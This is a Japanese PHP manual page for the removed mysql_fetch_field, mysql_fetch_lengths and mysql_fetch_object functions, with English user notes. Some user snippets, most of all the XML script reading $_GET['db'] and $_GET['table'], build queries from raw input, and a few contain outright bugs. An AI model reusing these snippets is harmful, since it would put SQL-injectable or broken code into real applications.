この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_fetch_field()
  • PDOStatement::getColumnMeta()

説明

mysql_fetch_field ( resource $result , int $field_offset = 0 ) : object

フィールド情報を含むオブジェクトを返します。特定のクエリー結果の中の フィールドに関する情報を得るために使用可能です。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

field_offset

数字で表したフィールドの位置です。もし指定されなければ、 まだこの関数で情報を取得していないフィールドのうち最初のものが 選択されます。field_offset は、 0 からはじまります。

返り値

フィールド情報を含むobjectを返します。オブジェクトの プロパティは次のとおりです。

  • name - カラム名
  • table - カラムが属しているテーブルの名前。エイリアスを定義している場合はエイリアスの名前
  • max_length - カラムの最大長
  • not_null - カラムが null 値をとることができない場合 1
  • primary_key - カラムが主キーであれば 1
  • unique_key - カラムがユニークキーであれば 1
  • multiple_key - カラムが非ユニークキーであれば 1
  • numeric - カラムが数値(numeric)であれば 1
  • blob - カラムがBLOBであれば 1
  • type - カラムの型
  • unsigned - カラムが符号無し(unsigned)であれば 1
  • zerofill - カラムがゼロで埋められている(zero-filled)場合に 1

例

例1 mysql_fetch_field() の例

<?php
$conn = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$conn) {
    die('Could not connect: ' . mysql_error());
}
mysql_select_db('database');
$result = mysql_query('select * from table');
if (!$result) {
    die('Query failed: ' . mysql_error());
}
/* カラムのメタデータを取得する */
$i = 0;
while ($i < mysql_num_fields($result)) {
    echo "Information for column $i:<br />\n";
    $meta = mysql_fetch_field($result, $i);
    if (!$meta) {
        echo "No information available<br />\n";
    }
    echo "<pre>
blob:         $meta->blob
max_length:   $meta->max_length
multiple_key: $meta->multiple_key
name:         $meta->name
not_null:     $meta->not_null
numeric:      $meta->numeric
primary_key:  $meta->primary_key
table:        $meta->table
type:         $meta->type
unique_key:   $meta->unique_key
unsigned:     $meta->unsigned
zerofill:     $meta->zerofill
</pre>";
    $i++;
}
mysql_free_result($result);
?>

注意

注意: この関数により返されるフィー ルド名は 大文字小文字を区別 します。

注意:

SQL クエリでフィールド名やテーブル名のエイリアスを設定している場合は、 エイリアスを返します。本来の名前を取得するには、 mysqli_result::fetch_field() を使いましょう。

参考

  • mysql_field_seek() - 結果ポインタを指定したフィールドオフセットにセットする

User Contributed Notes

mwwaygoo AT hotmail DOT com 30-May-2012 10:20
Using mysql_fetch_field you can produce a more robust version of mysql_fetch_assoc.

When querying 2 tables with the same field names, generally you would need to use mysql_fetch_row to get an integer key'ed array rather than an associated key'ed array. This is because fields of the same name in the second table will over-write the data returned from the first table.
However this simple function will insert the table name prior to the field name for the key and prevent cross-overs.

ie SELECT *, 'test' AS test 4 FROM table AS T_1, table AS T_2 WHERE T_1.a=T_2.b

could produce:

mysql_fetch_assoc() returns
array(
'index'=>2,
'a'=>'pear',
'b'=>'apple',
'test'=>'test',
4=>4
)

mysql_fetch_table_assoc() returns
array(
'T_1.index' =>1,
'T_1.a'=>'apple',
'T_1.b'=>'banana',
'T_2.index'=>2,
'T_2.a'=>'pear',
'T_2.b'=>'apple',
'test'=>'test',
4=>4
)

<?php
function mysql_fetch_table_assoc($resource)
{
    // function to get all data from a query, without over-writing the same field
    // by using the table name and the field name as the index

    // get data first
    $data=mysql_fetch_row($resource);
    if(!$data) return $data; // end of data

    // get field info
    $fields=array();
    $index=0;
    $num_fields=mysql_num_fields($resource);
    while($index<$num_fields)
    {
        $meta=mysql_fetch_field($resource, $index);
        if(!$meta)
        {
            // if no field info then just use index number by default
            $fields[$index]=$index;
        }
        else
        {
            $fields[$index]='';
            // deal with field aliases - ie no table name (SELECT T_1.a AS temp)
            if(!empty($meta->table)) $fields[$index]=$meta->table.'.';
            // deal with raw data - ie no field name (SELECT 1)
            if(!empty($meta->name))  $fields[$index].=$meta->name; else $fields[$index].=$index;
        }
        $index++;
    }
    $assoc_data=array_combine($fields, $data);
    return $assoc_data;
}
?>
Daniel B 26-Mar-2012 02:56
Simple function to display all data in a query...

function dumpquery($query) {
    $numfields = mysql_num_fields($query);
    echo '<table border="1" bgcolor="white"><tr>';
    for ($i = 0; $i<$numfields; $i += 1) {
        $field = mysql_fetch_field($query, $i);
        echo '<th>' . $field->name . '</th>';
    }
    echo '</tr>';
    while ($fielddata = mysql_fetch_array($query)) {
        echo '<tr>';
        for ($i = 0; $i<$numfields; $i += 1) {
            $field = mysql_fetch_field($query, $i);
            echo '<td>' . $fielddata[$field->name] . '</td>';
        }
        echo '</tr>';
    }
    echo '</table>';
}
lucien at ocia dot nl 04-Feb-2012 01:08
Performance Notes!

I used this script for testing, the table has 26 colums.

<?php
$t_start = microtime(true);
$sql = mysql_query("SELECT * FROM `table` LIMIT 1") or trigger_error(mysql_error(), E_USER_WARNING);
for ($i = 0; $i < mysql_num_fields($sql); $i++) {
    $meta = mysql_fetch_field($sql, $i);
    echo "Information for column ".$meta->name.":\n";
    echo
"\tblob:         $meta->blob
\tmax_length:   $meta->max_length
\tmultiple_key: $meta->multiple_key
\tname:         $meta->name
\tnot_null:     $meta->not_null
\tnumeric:      $meta->numeric
\tprimary_key:  $meta->primary_key
\ttable:        $meta->table
\ttype:         $meta->type
\tunique_key:   $meta->unique_key
\tunsigned:     $meta->unsigned
\tzerofill:     $meta->zerofill
";
}
$t_stop = microtime(true);
$t_proc = $t_stop - $t_start;
echo "processing time query 1: ".number_format($t_proc * 1000, 3)." ms\n";
unset($t_start);
unset($t_stop);
unset($t_proc);
$t_start = microtime(true);
$sql = mysql_query("DESCRIBE `table`");
while ($res = mysql_fetch_array($sql, MYSQL_ASSOC)) {
    print_r($res);
}
$t_stop = microtime(true);
$t_proc = $t_stop - $t_start;
echo "processing time query 2: ".number_format($t_proc * 1000, 3)." ms\n";
?>

Query 1 => 0.444 ms
Query 2 => 1.146 ms

So for easy usage, Query 2 is advised... But if your a performance-geek, you should use Query 1.
eviltofu at gmail dot com 08-Jul-2011 05:58
MYSQLI_TYPE_BLOB indicates the field is a BLOB or a TEXT. I think you would need to check the blob value. If its true then it's a BLOB, otherwise it's a TEXT. Can someone confirm?
Jonathan 30-Jul-2010 05:45
It should be noted that the primary_key member variable is only set to 1 if the primary key on the table is only on that 1 field. If you have a table that has a multiple column primary key, then you will not get what you might expect.

For example:
CREATE TABLE `line_item_table` (
  `liForeignKey1` int(11) unsigned not null,
  `liForeignKey2` int(11) unsigned not null,
  PRIMARY KEY (`liForeignKey1`, `liForeignKey2`)
) ENGINE=MyISAM;

While you might expect that primary_key == 1 for both columns; var_dump() will show you that you get the following for both fields:
["primary_key"]=>int(0)

This is as of PHP 5.2.13 and MySQL 5.0.51
TALU 04-Feb-2009 08:16
XML generation.

Bit of a security risk allowing parameters to select db and table on live server (unless user is restricted or replace the $_GET with fixed value.)

Outputs xml with standard format for <config> part to generate forms in flash.

<?php
    //
    //    makeXML.php?db=dbname&table=tablename
    //

    set_time_limit(300);

    $host = "localhost";
    $user = "root";
    $password = "root";

    $database = $_GET['db'];
    $table = $_GET['table'];

    mysql_connect($host,$user,$password);
    @mysql_select_db($database) or die( "Unable to select database");

    $querytext="SELECT * FROM ".$table;
    $result=mysql_query($querytext);

    if ($result){
        $num=mysql_num_rows($result);
    }else{
        $num=0;
    }

?>
<?php
    header('Content-Type: text/xml');
     echo "<?xml version='1.0'?>";

     if ($num > 0){
 ?>
<<?php  echo $table?>>
    <config>
        <?php
            // Display number of fields
            echo "<numFields>".mysql_num_fields($result)."</numFields>";
            $i = 0;
            $primaryKey = "";
            $nameArray = array();
            $maxLengthArray = array();
            $typeArray = array();
            while ($i < mysql_num_fields($result)) {
                $meta = mysql_fetch_field($result, $i);
                $nameArray[$i] = $meta->name;
                $maxLengthArray[$i] = $meta->max_length;
                $typeArray[$i] = $meta->type;
                if ($meta->primary_key){
                    $primaryKey = $meta->name;
                }
                $i++;
            }
            $i = 0;
            echo "<fieldNames>";
            while ($i < count($nameArray)) {
                echo "<field".$i.">".$nameArray[$i]."</field".$i.">";
                $i++;
            }
            echo "</fieldNames>";
            $i = 0;
            echo "<fieldMaxLength>";
            while ($i < count($maxLengthArray)) {
                echo "<field".$i.">".$maxLengthArray[$i]."</field".$i.">";
                $i++;
            }
            echo "</fieldMaxLength>";
            $i = 0;
            echo "<fieldType>";
            while ($i < count($typeArray)) {
                echo "<field".$i.">".$typeArray[$i]."</field".$i.">";
                $i++;
            }
            echo "</fieldType>";
        ?>
        <primaryKey><?php  echo $primaryKey?></primaryKey>
        <numRecords><?php  echo $num?></numRecords>
    </config>
<?php
    $i=0;
    while ($i < $num) {
        $ID=mysql_result($result,$i,"ID");
        $value=mysql_result($result,$i,"value");
        $title=mysql_result($result,$i,"title");
        $description=mysql_result($result,$i,"description");
?>
    <row>
        <ID><?php  echo $ID?></ID>
        <weighting><?php  echo $value?></weighting>
        <title><?php  echo $title?></title>
        <description><?php  echo $description?></description>
    </row>
<?php
        $i = $i + 1;
    }
?>
</<?php  echo $table?>>

<?php
    }
?>
php [spat] hm2k.org 04-Nov-2008 03:22
An improvement on the earlier mysql_column_exists function.

<?php

function mysql_column_exists($table_name, $column_name, $link=false) {
    $result = @mysql_query("SHOW COLUMNS FROM $table_name LIKE '$column_name'", $link);
    return (mysql_num_rows($result) > 0);
}

?>
jorachim at geemail dot com 25-Sep-2008 01:09
If you want the fields in a table, a simple DESCRIBE query will work:

<?php
$query ="DESCRIBE Users";
$result = mysql_query($query);

echo "<ul>";

while($i = mysql_fetch_assoc($result))
     echo "<li>{$i['Field']}</li>";

echo "</ul>";
?>

Should do the trick.
david at vitam dot be 10-Jun-2008 05:57
A little function to help coders to distinct the tablename from a multiselect query where some fields has the same name in differents tables.

<?php
public function sql($sql) {
    $T_Return=array();
    $result=@mysql_query($sql);

    $i=0;
    while ($i < mysql_num_fields($result)) {
        $fields[]=mysql_fetch_field($result, $i);
        $i++;
    }

    while ($row=mysql_fetch_row($result)) {
        $new_row=array();
        for($i=0;$i<count($row); $i++) {
            $new_row[ $fields[$i]->table][$fields[$i]->name]=$row[$i];
        }
        $T_Return[]=$new_row;
    }

    return $T_Return;
}
?>
dheep 03-Jun-2008 08:56
Simple PHP script for displaying the field names. Presuming the database is seleected already.

<?php
$sql = "SELECT * FROM table_name;";
$result = mysql_query($sql);
$i = 0;
while($i<mysql_num_fields($result))
{
  $meta=mysql_fetch_field($result,$i);
  echo $i.".".$meta->name."<br />";
  $i++;
}
?>

OUTPUt:
0.id
1.todo
2.due date
3.priority
4.type
5.status
6.notes

hope this is useful.
Nick Baicoianu 15-Sep-2005 11:18
Be sure to note that $max_length is the length of the longest value for that field in the returned dataset, NOT the maximum length of data that column is designed to hold.
php at brayra dot com 21-Mar-2002 04:09
I needed to get the field information and the enum/set values. Here is the function I created to expand the object returned by mysql_fetch_field. I also, decided to return all the fields for a table in an array of field objects by "name" and position much like mysql_fetch_array does.

You could test it by using:

<?php
$myfields = GetFieldInfo('test_table');
print "<pre>";
print_r($myfields);
print "</pre>";
?>

The field objects now have 'len', 'values' and 'flags' parameters.
NOTE: 'values' only has data for set and enum fields.

<?php
//This assumes an open database connection
//I also use a constant DB_DB for current database.
function GetFieldInfo($table)
{
  if($table == '') return false;
  $fields = mysql_list_fields(DB_DB, $table);
  if($fields){
    $columns = mysql_query('show columns from ' . $table);
    if($columns){
      $num = mysql_num_fields($fields);
      for($i=0; $i < $num; ++$i){
        $column = mysql_fetch_array($columns);
        $field = mysql_fetch_field($fields, $i);
        $flags = mysql_field_flags($fields, $i);
        if($flags == '') $flags=array();
        else $flags = explode(' ',$flags);
        if (ereg('enum.(.*).',$column['Type'],$match))
          $field->values = explode(',',$match[1]);
        if (ereg('set.(.*).',$column['Type'],$match))
          $field->values = explode(',',$match[1]);
        if(!$field->values) $field->values = array();
        $field->flags = $flags;
        $field->len = mysql_field_len($fields, $i);
        $result_fields[$field->name] = $field;
        $result_fields[$i] = $field;
      }
      mysql_free_result($columns);
    }
    mysql_free_result($fields);
    return $result_fields;
  }
  return false;
}
?>

hope someone else finds this useful.
krang at krang dot org dot uk 10-Mar-2002 06:12
The field type returns what PHP classifies the data found in the field, not how it is stored in the database; use the following example to retrieve the MySQL information about the field....

<?php
$USERNAME = '';
$PASSWORD = '';

$DATABASE = '';
$TABLE_NAME = '';

mysql_connect('localhost', $USERNAME, $PASSWORD)
    or die ("Could not connect");

$result = mysql_query("SHOW FIELDS FROM $DATABASE.$TABLE_NAME");

$i = 0;

while ($row = mysql_fetch_array($result)) {
  echo $row['Field'] . ' ' . $row['Type'];
}
?>


結果における各出力の長さを得る

  • ≪ mysql_fetch_field
  • mysql_fetch_object ≫
  • PHP Manual
  • MySQL 関数
  • 結果における各出力の長さを得る

mysql_fetch_lengths

(PHP 4, PHP 5)

mysql_fetch_lengths — 結果における各出力の長さを得る

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_fetch_lengths()
  • PDOStatement::getColumnMeta()

説明

mysql_fetch_lengths ( resource $result ) : array|false

MySQL により一番最近に取得された行における各フィールドの長さを 格納した配列を返します。

mysql_fetch_lengths()は、
mysql_fetch_row(),
mysql_fetch_assoc(),
mysql_fetch_array(), そして
mysql_fetch_object() により一番最近に返された
各結果カラムの長さを格納した配列を返します。この配列のオフセットは
0 から始まります。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

返り値

成功した場合に長さの配列（array）を、 失敗した場合に false を返します。

例

例1 mysql_fetch_lengths() の例

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
$row     = mysql_fetch_assoc($result);
$lengths = mysql_fetch_lengths($result);

print_r($row);
print_r($lengths);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [id] => 42
    [email] => user@example.com
)
Array
(
    [0] => 2
    [1] => 16
)

参考

  • mysql_field_len() - 指定したフィールドの長さを返す
  • mysql_fetch_row() - 結果を添字配列として取得する
  • strlen() - 文字列の長さを得る

User Contributed Notes

Bavo Janss 10-Jul-2009 07:19
In case of UTF8 fields mysql_field_len() will return 3 times the maximum length (e.g. 30 for a VARCHAR(10) field)) for mysql_field_len() returns the byte length of the field not the defined size.


結果の行をオブジェクトとして取得する

  • ≪ mysql_fetch_lengths
  • mysql_fetch_row ≫
  • PHP Manual
  • MySQL 関数
  • 結果の行をオブジェクトとして取得する

mysql_fetch_object

(PHP 4, PHP 5)

mysql_fetch_object — 結果の行をオブジェクトとして取得する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_fetch_object()
  • PDOStatement::fetch(PDO::FETCH_OBJ)

説明

mysql_fetch_object ( resource $result , string $class_name = ? , array $params = ? ) : object

取得された行を表すプロパティを有するオブジェクトを返し、 内部のデータポインタを前に進めます。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

class_name

インスタンス化し、プロパティを設定して返すクラスの名前。 指定しなかった場合は stdClass オブジェクトが返されます。

params

class_name オブジェクトのコンストラクタに渡す オプションのパラメータの配列。

返り値

取得された行を表す文字列プロパティを有するオブジェクト(object)を返します。 もう行が残っていない場合は、false を返します。

例

例1 mysql_fetch_object() の例

<?php
mysql_connect("hostname", "user", "password");
mysql_select_db("mydb");
$result = mysql_query("select * from mytable");
while ($row = mysql_fetch_object($result)) {
    echo $row->user_id;
    echo $row->fullname;
}
mysql_free_result($result);
?>

例2 mysql_fetch_object() の例

<?php
class foo {
    public $name;
}

mysql_connect("hostname", "user", "password");
mysql_select_db("mydb");

$result = mysql_query("select name from mytable limit 1");
$obj = mysql_fetch_object($result, 'foo');
var_dump($obj);

注意

注意: パフォーマンス

速度面では、この関数は mysql_fetch_array() と同等で、 mysql_fetch_row() とほぼ同等です(違いはわずかです)。

注意:

mysql_fetch_object()は、配列の代わりに オブジェクトが返されるという一つの違いを除いて mysql_fetch_array()と類似しています。 つまり、オフセットによってではなく、フィールド名によってのみ データにアクセスすることができます (数字は、プロパティ名として使用できません)。

注意: この関数により返されるフィー ルド名は 大文字小文字を区別 します。

注意: この関数は、 NULL フィールドに PHPの null 値を設定します。

参考

  • mysql_fetch_array() - 連想配列、添字配列、またはその両方として結果の行を取得する
  • mysql_fetch_assoc() - 連想配列として結果の行を取得する
  • mysql_fetch_row() - 結果を添字配列として取得する
  • mysql_data_seek() - 内部的な結果ポインタを移動する
  • mysql_query() - MySQL クエリを送信する

User Contributed Notes

webmaster at kibab dot com 01-Sep-2010 07:46
That huge difference in timings may be caused by database cache issues. If mysql_fetch_object() was the first function to be used, the cache was empty, but subsequent invocations took the result from the query cache.
mp 27-Aug-2008 10:39
When working with a stdClass object returned from a database query, specifically:

$object = mysql_fetch_object($result)

You may run into assignment problems if you have a field with a '.' in the name.
e.g.: `user.id`

To remedy this situation, you can use curly braces and single quotes during assignment.

In place of:
$myObject->user_id = $object->user.id;

Use:
$myObject->user_id = $object->{'user.id'};
strrev xc.noxeh@ellij 05-Jun-2008 05:28
I created a table, with 5 INT columns, and 1000 rows of random ints.
I did 100 selects:

SELECT * FROM bench... (mysql_fetch_object)
Query time: 5.40725040436
Fetching time: 16.2730708122 (avg: 1.32130565643E-5)
Total time: 21.6803212166

SELECT * FROM bench... (mysql_fetch_array)
Query time: 5.37693023682
Fetching time: 10.3851644993 (avg: 7.48886537552E-6)
Total time: 15.7620947361

SELECT * FROM bench... (mysql_fetch_assoc)
Query time: 5.345921278
Fetching time: 10.6170959473 (avg: 7.64049530029E-6)
Total time: 15.9630172253

"Note: Performance  Speed-wise, the function is identical to mysql_fetch_array(), and almost as quick as mysql_fetch_row() (the difference is insignificant)."

And I am a penguin :)
hcse at op dot pl 03-Jun-2008 03:19
<?php
class Test {

    public $go ;
    private $id ;

    function show() {
        return "id: {$this->id} go: {$this->go}" ;
    }

    function __construct()
    {
        echo "in __construct() ". $this->show() ."\n" ;
        $this->go = uniqid()    ;
    }

}

if (! ($res = mysql_query('SELECT * FROM `test`', $db))) {
    die('Invalid query: ' . mysql_error() . "\n");
}

while($obj = mysql_fetch_object($res, 'Test') ){
    echo "outside ________ ". $obj->show() ."\n\n";
}
?>

This code gives the result:
in __construct() id: 1 go: first
outside ________ id: 1 go: 4845bd99ca2e3

in __construct() id: 2 go: second
outside ________ id: 2 go: 4845bd99ca2fd

It means that __construct() is invoked after filling fields with data from database, eg. it can be used to change strings into integers.
Justin Rovang 16-May-2008 12:24
This is another way to load variables quickly within $this, and allows for intervention on variable names.

All columns from the single-row result are loaded and accessed via $this->_variableName.

<?
class MyClass{
    public function _load($nID) {
        $Q = "SELECT * FROM myTable";
        if($aTmp = RETURN_Q_ARRAY($Q)) {
            $aTmp = $aTmp[0];
            $aK =array_keys($aTmp);
            foreach($aK as $sK) {
                if(!is_numeric($sK)) $this->{"_$sK"}=$aTmp[$sK];
            }
            return true;
        }
        return false;
    }
}

$o = new MyClass;
$o->_load(1);

echo $o->_id; //1
echo $o->_otherColumn; //otherColumn value
Peter T 19-Apr-2008 09:36
If you're using mysql_fetch_object and specifying a class - the properties will be set BEFORE the constructor is executed.  This is generally not an issue, but can cause some major problems if you're properties are set via the __set() magic method and constructor logic must be executed first.
danielpunt 08-Feb-2008 05:20
@Jezze : This wil also work. Also works with static methods.

<?php

class Foo
{
    private $FooBar;

    public function LoadFromId($Id)
    {
        $Result = mysql_query('SELECT * FROM foo WHERE Id = ' . $Id);
        while($Row = mysql_fetch_object($Result, __CLASS__))
        {
            print_r($Row);
        }

    }

}

$Foo = new Foo;
$Foo->LoadAll();

?>
Jezze 24-Sep-2007 10:56
If you have a class that represents itself in a database you can use this function to get the properties.

class MyClass {

  public $name;
  public $language;

  function load($id) {

    $query = mysql_query("SELECT name, language FROM myTable WHERE id = $id");
    $result = mysql_fetch_object($query, get_class($this));

    foreach(get_object_vars($result) as $var => $value) $this->$var = $value;
  }

}

$a = new MyClass();
$a->load(1);
Chris at r3i dot it 18-Aug-2007 10:03
In reply to rodolphe dot bodeau at free dot fr :

The function mysql_fetch_object has other two parameters that you can use.
As the manual say:
mysql_fetch_object( $resource, $class_name, $params ) )

$class_name and $params are optional.

So if you want to fetch a row in a class you can:

1) Define your class Test with method and other stuff.
2) Execute Query
3) call:
$Object = mysql_fetch_object( $Resource, "Test" );

so you can use $Object with the methods

Be aware how you write code in your methods: in this case, classes are used for centralize the code and they are not
really safe because you can have an additional Information
( with a Join Query for example ) without methods to access to them.
So classes need get and set method generalized.
( for extra see PHP 5 Manual O'Rielly on the use of generalized methods get and set )
rodolphe dot bodeau at free dot fr 13-May-2007 05:00
This little function stores the content of a mysql_fetch_object result into an object by using MySQL request field names as object parameters :

<?php
function FetchRequestInObject(&$obj, $req)
{
    $ReqVars = get_object_vars($req);
    foreach ($ReqVars as $ReqName => $ReqValue)
    {
        if (property_exists($obj, $ReqName))
        {
            $obj->$ReqName = $ReqValue;
        }
    }
}
?>

Remember that mysql_fetch_object is case sensitive, so beware of your object properties. Use keyword "AS" in your SQL request to change field name if necessary.
info [at] woeiweb [dot] nl 02-May-2007 12:17
Since PHP 5.2.1 it seems like this function doesn't like queries that return columns with empty names, like:
select '' from `table`

PHP exits and mysql_error() does not return an error.
syntax 21-Oct-2006 06:00
@Simon Paridon and others concerning SQL to php getting results via mysql_fetch_object:

Every query that would fail in a database frontend, such as MySQLs "Query Browser" and only will work by using the `-marks will probably give results hardly accessible in PHP especially if you have column names with "-" or " " in it.

Using the example of Simon Paridon: it is not possible to execute a query like:

SELECT id, user-id FROM unlucky_naming

only

SELECT id, `user-id` FROM unlucky_naming

will work...

so either be a bit wiser when naming the colums (e.g. user_id)

or try it with

SELECT id, `user-id` AS user_id FROM unlucky_naming

(i have not tested it in PHP yet, but i guess this will fail as well, if you have a query like "SELECT `foo name` FROM `unlucky naming 2`")

Somewhat down "amackenz at cs dot uml dot edu" mentioned to name sum, count etc. this may be a good hint for newbies: increase the speed of your php applications by using (my)sql native functions and save data transfer as well as processing time
Simon Paridon 24-Sep-2006 05:53
The behavior of this function is slightly questionable.

If you have a col in you table containing non-variable-name characters like "-", mysql_fetch_object will add "impossible variable names" to your object, e.g.

object (
  [user-id] => 7
)

You can not access this variable normally with $obj->user-id, because the variable name is invalid. But you can however access it like this:

$foo = 'user-id';
echo $obj->$foo;

It will correctly output 7, whereas var_dump($obj->user-id) would output int(0) for some reason.

I got this behaviour with PHP 4.4.2.
Kaminari (telecotxesco at hotmail) 23-Jul-2006 04:55
This is a very very elegant (and costless) way to fetch an enterie query to every single field name from a "wide" table:

The tedious way fetching:
<?php
    $idtable=mysql_connect("localhost","user","pwd");
    mysql_select_db("table",$idtable);
    $consult=mysql_query("SELECT *
                            FROM models
                            ORDER BY Serie,Year ASC");
    while($row=mysql_fetch_object($consult)){
        $IdLomo=$row->IdLomo;
        $Serie=$row->Serie;
        $Model=$row->Model;
        $Type=$row->Type;
        $Year=$row->Year;
        $Speed=$row->Speed;
        $Power=$row->Power;
        $Price=$row->Price;
        $Load1=$row->Load1;
        $Load2=$row->Load2;
        $Load3=$row->Load3;
        $Load4=$row->Load4;
        $Server=$row->Servier;
        $Real=$row->Real;
        $Lomo=$row->Lomo;
    }
?>

Resulting on 15 new variables called like their name on table wich we introduced manualy for 5 minutes. But imagine each row has 100 fields!

A way saving time with the same result:

<?php
    $idtable=mysql_connect("localhost","user","pwd");
    mysql_select_db("table",$idtable);
    $consult=mysql_query("SELECT *
                            FROM models
                            ORDER BY Serie,Year ASC");
    // We find the fields number
    $numfields=mysql_num_fields($consult);

    // Now we put the names of fields in a Array
    for($i=0;$i<$numfields;$i++){
        $fieldname[$i]=mysql_field_name($consult, $i);
    }

    while($row=mysql_fetch_object($consult)){
        //Finally we assign the new variables
        for($i=0;$i<$numfields;$i++){
            $$fieldname[$i]=$row->$fieldname[$i];
        }
    }
?>
trithaithus at tibiahumor dot net 21-Aug-2005 01:56
This method offers a nice way to fetch objects from databases. As Federico at Pomi dot net mentioned it doesn't work native as the type of the object fetched isn't the right one, but with a small typecast it works flawlessly.

<?php
function ClassTypeCast(&$obj,$class_type){
   if(class_exists($class_type)){
       $obj = unserialize(preg_replace("/^O:[0-9]+:\\"[^\"]+\\":/i",
         "O:".strlen($class_type).":\\"".$class_type."\\":", serialize($obj)));
   }
}

class Foo
{
    var $foo;
    var $bar;
    function get_from_db()
    {
        mysql_connect();
        mysql_select_db();
        $res = mysql_query("SELECT foo,bar from my_table");

        $fetched_object = mysql_fetch_object($res);
        ClassTypeCast($fetched_object,"Foo");
        $this = $fetched_object;
    }
}
?>
backglancer at hotmail 07-Aug-2005 03:07
Watch out for mysql_fetch_object() to return all values as strings.
if you try to do
<?
$p = mysql_fetch_object($some_sql);
// and then try to do something like

$money = $p->dollars + $p->cents;
?>

You may experience "Unsupported operand types"

so always cast them both as (int) 's!!
q 09-Jul-2004 07:31
Some clarifications about previous notes concerning duplicate field names in a result set.

Consider the following relations:

TABLE_A(id, name)
TABLE_B(id, name, id_A)

Where TABLE_B.id_A references TABLE_A.id.

Now, if we join these tables like this: "SELECT * FROM TABLE_A, TABLE_B WHERE TABLE_A.id = TABLE_B.id_A", the result set looks like this: (id, name, id, name, id_A).

The behaviour of mysql_fetch_object on a result like this isn't documented here, but it seems obvious that some data will be lost because of the duplicate field names.

This can be avoided, as Eskil Kvalnes stated, by aliasing the field names. However, it is not necessary to alias all fields on a large table, as the following syntax is legal in MySQL: "SELECT *, TABLE_A.name AS name_a, TABLE_B.name AS name_b FROM TABLE_A, TABLE_B ...". This will produce a result set formatted like this: (id, name, id, name, id_A, name_a, name_b), and your data is saved. Hooray!

-q
rcoles at hotmail dot com 16-Oct-2003 02:11
In reviewing Eskil Kvalnes's comments (04-Mar-2003 11:59
When using table joins in a query you obviously need to name all the fields to make it work right with mysql_fetch_object()) I was left asking and, as a newbie, the reason why I'm here. I have a 28 field table. Ran SELECT * with a LEFT JOIN, etc and it appears to have worked on my test server without issue.

On further reading, MYSQL.COM has the following:
* It is not allowed to use a column alias in a WHERE clause, because the column value may not yet be determined when the WHERE clause is executed. See section A.5.4 Problems with alias.
* The FROM table_references clause indicates the tables from which to retrieve rows. If you name more than one table, you are performing a join. For information on join syntax, see section 6.4.1.1 JOIN Syntax. For each table specified, you may optionally specify an alias.

Aware of the fact there's a difference between tables and fields there appears to be confusion here somewhere.
zhundiak at comcast dot net 15-May-2003 06:44
Here is a wrapper that will allow specifying a class name.
function &db_fetch_object($set,$className)
{
  /* Start by getting the usual array */
  $row = mysql_fetch_assoc($set);
  if ($row === null) return null;

  /* Create the object */
  $obj =& new $className();

  /* Explode the array and set the objects's instance data */
  foreach($row as $key => $value)
  {
    $obj->{$key} = $value;
  }
  return $obj;
}
class CPerson
{
  function getFullName()
  {
    return $this->fname . ' ' . $this->lname;
  }
}
$set = mysql_query('SELECT fname,lname FROM person');
while($person =& db_fetch_object($set,'CPerson'))
{
  echo $person->getFullName();
}
Eskil Kvalnes 03-Mar-2003 10:59
When using table joins in a query you obviously need to name all the fields to make it work right with mysql_fetch_object().
kalleanka 30-Jan-2003 03:50
an addition to the previous...

for example getting members from a database:

function getAllMembers () {
    $query = "SELECT * FROM people ORDER BY lname";
    $result = mysql_query($query);

    while($member = mysql_fetch_object($result)){
        $members[] = $member;
    }

    return $members;
}
<br><br>
    DON'T FORGET TO DECLARE THE ARRAY. If you try to cycle through members after the function has been called and you don't declare the array first you will get a horribly (HORRIBLY!) ugly error in your page. Also, if you try to add the object into the members array inside the while condition instead of in the while loop, you will generate one extra empty space in the array due to the last iteration/check.
spamme at aol dot com 16-Jan-2003 12:28
This is probably a little more elegant:

$sql = "SELECT * FROM table ";
$result = mysql_query($sql);

$data = array();

while ($row = mysql_fetch_object($result))
   $data[] = $row;
allen at brooker dot gb dot net 19-Nov-2002 04:14
I found the above code to be buggy, not adding all the records to the array. This is the code I used instead:

  $command = "SELECT * FROM table ";
  $result = mysql_query($command, $link_id);
  $num = mysql_num_rows($result);

  $clickthru = array();

  for ($i = 0; $i <= $num; $i++) {
    $clickthru[$i] = array();
    $clickthru[$i] = mysql_fetch_array($result);
  }

Allen
Federico at Pomi dot net 15-Sep-2002 07:41
Be carefull:
the object returned will be a new/fresh object.

You can't use this function to replace some attributes of an existing object keeping the old ones.

Example:
class person
{
   var $name;
   var $surname;
   var $doh;

function print()
{
   print($name." ".$surname);
}

function get_from_db()
{
   $res=query("select name, surname from ppl where... limit 1");
   $this=mysql-fetch-object($res);
}

}

This won't work! When the method get_from_db() is executed, your old object will be destroyed... you won't find anything in the attribute $doh, and if you'll try to call the method print(), it will say it doesn't exist.


結果を添字配列として取得する

  • ≪ mysql_fetch_object
  • mysql_field_flags ≫
  • PHP Manual
  • MySQL 関数
  • 結果を添字配列として取得する

mysql_fetch_row

(PHP 4, PHP 5)

mysql_fetch_row — 結果を添字配列として取得する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_fetch_row()
  • PDOStatement::fetch(PDO::FETCH_NUM)

説明

mysql_fetch_row ( resource $result ) : array

